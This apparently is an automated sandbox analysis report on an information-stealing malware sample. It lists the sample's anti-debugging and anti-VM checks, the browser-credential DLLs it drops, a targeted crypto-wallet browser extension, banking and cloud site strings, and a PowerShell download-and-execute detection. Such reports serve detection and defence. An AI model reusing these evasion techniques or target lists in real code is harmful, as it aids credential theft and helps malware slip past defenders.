Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129DD95 second address: 129DD9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A686D second address: 12A68AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007F4C80DFF196h 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F4C80DFF1A6h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F4C80DFF1A3h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6B79 second address: 12A6B96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 jnl 00007F4C80E07D82h 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6B96 second address: 12A6B9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6B9F second address: 12A6BA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AD45D second address: 12AD481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4C80DFF196h 0x0000000a jno 00007F4C80DFF196h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4C80DFF19Fh 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B3AFC second address: 12B3B05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7A5E second address: 12B7A86 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4C80DFF196h 0x00000008 jg 00007F4C80DFF196h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F4C80DFF1A3h 0x00000015 pop eax 0x00000016 push esi 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B9DE4 second address: 12B9DEE instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4C80E07D76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7118 second address: 12C7131 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4C80DFF196h 0x00000008 jmp 00007F4C80DFF19Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7131 second address: 12C7135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7135 second address: 12C713D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CABFC second address: 12CAC24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4C80E07D7Dh 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4C80E07D84h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CAC24 second address: 12CAC34 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F4C80DFF196h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CAC34 second address: 12CAC3E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4C80E07D76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CAC3E second address: 12CAC47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D2E5E second address: 12D2E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F4C80E07D82h 0x0000000b jno 00007F4C80E07D76h 0x00000011 jo 00007F4C80E07D76h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D2E79 second address: 12D2E83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F4C80DFF196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1FBE second address: 12D1FCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a js 00007F4C80E07D76h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1FCE second address: 12D1FD8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4C80DFF196h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D2ADE second address: 12D2B0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4C80E07D83h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4C80E07D83h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDC69 second address: 11EDC75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jbe 00007F4C80DFF196h 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF85A second address: 12DF862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF862 second address: 12DF874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4C80DFF19Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF874 second address: 12DF892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4C80E07D7Ah 0x00000009 popad 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d jnl 00007F4C80E07D76h 0x00000013 pop ebx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0081 second address: 12F0087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0087 second address: 12F008C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F008C second address: 12F0091 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F18FC second address: 12F1917 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F4C80E07D7Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1303BAE second address: 1303BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1303BB4 second address: 1303BCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4C80E07D7Eh 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13094D3 second address: 13094D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13094D7 second address: 13094DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13094DB second address: 13094E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1309536 second address: 130953A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130953A second address: 1309540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130968E second address: 1309692 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1309692 second address: 130969E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130969E second address: 13096A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13096A6 second address: 13096AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1309A0C second address: 1309A13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130CDEC second address: 130CDFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4C80DFF19Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122D968 second address: 122D96E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122DB04 second address: 122DB08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122DC7F second address: 122DC84 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0CFF second address: 54F0D03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0D03 second address: 54F0D09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0D09 second address: 54F0D80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4C80DFF1A0h 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f jmp 00007F4C80DFF19Ch 0x00000014 mov dword ptr [esp], ebp 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F4C80DFF19Eh 0x0000001e sub al, 00000018h 0x00000021 jmp 00007F4C80DFF19Bh 0x00000026 popfd 0x00000027 mov ah, 33h 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007F4C80DFF19Ch 0x00000035 jmp 00007F4C80DFF1A5h 0x0000003a popfd 0x0000003b mov di, ax 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0D80 second address: 54F0D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe

Special instruction interceptor: First address: 12ADD16 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E34910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00E34910
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E2DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_00E2DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E2E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_00E2E430
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E216D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00E216D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E33EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_00E33EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E2F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00E2F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E2BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	1_2_00E2BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E338B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	1_2_00E338B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E34570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	1_2_00E34570
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E2ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_00E2ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E2DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00E2DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00E21160 GetSystemInfo,ExitProcess,

1_2_00E21160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: AFCFHDHI.1.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, file.exe, 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: AFCFHDHI.1.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: AFCFHDHI.1.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000001.00000002.2412996854.0000000001832000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW:
Source: AFCFHDHI.1.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: AFCFHDHI.1.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: AFCFHDHI.1.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000001.00000002.2412996854.000000000186A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: AFCFHDHI.1.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: AFCFHDHI.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: AFCFHDHI.1.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: AFCFHDHI.1.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: AFCFHDHI.1.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: AFCFHDHI.1.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: AFCFHDHI.1.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: AFCFHDHI.1.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: AFCFHDHI.1.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: AFCFHDHI.1.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: AFCFHDHI.1.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: AFCFHDHI.1.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: AFCFHDHI.1.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: AFCFHDHI.1.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: AFCFHDHI.1.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: AFCFHDHI.1.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: AFCFHDHI.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000001.00000002.2412996854.00000000017EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: AFCFHDHI.1.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: AFCFHDHI.1.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: AFCFHDHI.1.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: AFCFHDHI.1.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: AFCFHDHI.1.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: AFCFHDHI.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: AFCFHDHI.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: AFCFHDHI.1.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_1-54847
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_1-53658
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_1-53679
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_1-53661
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_1-53672
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_1-53712

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CB35FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

1_2_6CB35FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00E245C0 VirtualProtect ?,00000004,00000100,00000000

1_2_00E245C0

Source: C:\Users\user\Desktop\file.exe

1_2_00E39860

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00E39750 mov eax, dword ptr fs:[00000030h]

1_2_00E39750

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00E378E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

1_2_00E378E0

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB0B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		1_2_6CB0B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB0B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		1_2_6CB0B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 4420, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00E39600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

1_2_00E39600

Source: file.exe, file.exe, 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: ayProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

1_2_00E37B90

